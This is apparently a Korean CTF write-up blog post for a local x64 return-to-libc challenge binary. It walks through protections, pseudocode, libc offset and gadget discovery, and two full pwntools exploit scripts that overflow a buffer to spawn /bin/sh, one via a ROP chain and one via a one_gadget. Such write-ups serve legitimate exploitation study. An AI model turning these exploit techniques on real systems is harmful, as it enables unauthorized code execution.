RTL_x64
System/PWNABLE

RTL_x64

728x90

checksec

RTL_x64에 적용된 보호기법 확인

IDA로 pseudo code 확인

main()함수 pseudo code

19-21: printf("inpupt: ", argv); argv = (const char **)&buf; read(0, &buf, 0x60uLL);

 

menu()함수 psuedo code
read_input()함수 pseudo code
useful_function() pseudo code

주소 구하기 / offset 구하기

printf()함수의 주소
system()함수의 주소
printf()-system()

 

문자열 "/bin/sh"의 주소
"/bin/sh" - printf()
"pop rdi ; ret" 가젯 주소 search

pop rdi; ret : 0x400a13

 

Exploit

from pwn import *
context.log_level="debug"

p=process("./RTL_x64")
elf=ELF("./RTL_x64")


p.sendlineafter("> ", "2")

p.recvuntil("printf() addr: ")
printf=int(p.recvuntil('\n'),16)
log.info(hex(printf))

sysAdd=printf - 66672
binsh=printf + 1275223
poprdi=0x400a13

p.sendlineafter("> ", "1")
p.recvuntil("input: ")
pl="A"*72
pl+= p64(poprdi)
pl+=p64(binsh)
pl+=p64(sysAdd)

p.send(pl)

p.sendlineafter("> ", "3")
p.interactive()

while문을 최종적으로 종료시키기 위해 /bin/sh와 system()의 주소까지 전달하고 난 후 menu창이 다시 뜨면 3을 입력해 종료되도록 함

 

onegadget 사용한 version

from pwn import *
#context.log_level="debug"

p=process("./RTL_x64")
elf=ELF("./RTL_x64")
libc=elf.libc

p.sendlineafter("> ", "2")

p.recvuntil("printf() addr: ")
printf=int(p.recvuntil('\n'),16)
#log.info(hex(printf))

libcbase= printf - libc.symbols['printf']

p.sendlineafter("> ", "1")
p.recvuntil("input: ")
pl="A"*72
pl+=p64(libcbase + 0x45216)
p.send(pl)

p.sendlineafter("> ", "3")
p.interactive()

libc = elf.libc //로컬 디렉터리내의 라이브러리를 불러옴

libcbase = printf - libc.symbols['printf'] 

pl+=p64(libcbase+0x45216) // one gadget을 통해 구해진 offset을 더해 바로 execve( "/bin/sh", ,  )로 return address를 넣어주면 됨

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

shot  (0) 2020.06.01
simpleRTL  (0) 2020.05.30
[TAMU 2019] pwn1  (0) 2020.05.30
[TAMU 2018] pwn4  (0) 2020.05.24
[HITCON] Training lab4 ret2libc  (0) 2020.05.24